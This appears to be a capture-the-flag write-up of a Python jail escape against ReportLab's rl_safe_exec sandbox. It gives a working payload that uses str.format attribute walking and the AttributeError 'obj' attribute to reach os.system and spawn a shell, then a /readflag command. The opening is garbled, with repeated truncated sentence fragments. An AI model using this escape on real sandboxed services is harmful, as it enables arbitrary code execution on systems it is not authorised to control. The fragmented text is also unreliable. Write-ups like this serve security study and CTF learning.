The escape was short because Python helpfully attached the dangerous object to the exception.
The jail read one ASCII line under 120 bytes and executed it with ReportLab's
The useful primitive was
The final
The payload
The payload opens a shell:
The carriage return between
The one-shot
The jail read one ASCII line under 120 bytes and executed it with ReportLab's
rl_safe_exec.The useful primitive was
str.format. Format strings can walk attributes in ways that bypass ReportLab's rewritten attribute checks. This path reaches the real os.system function through ReportLab's own globals:
Code:
str.format('{.__init__.__globals__[os].system.x}', bin)
.x lookup intentionally fails. On Python 3.14, the resulting AttributeError has a public obj attribute that points to the object the lookup failed on. In this case, that object is os.system.The payload
The payload opens a shell:
Code:
try: str.format('{.__init__.__globals__[os].system.x}',bin)
except Exception as e: e.obj('sh')
The carriage return between
try and except is intentional. input() stops at newline, but the carriage return remains in the code string and Python treats it as a line break.The one-shot
/readflag call did not fit under the limit. A shell did. After the shell started, we just send:
Code:
/readflag "$(strings /readflag|grep ,)"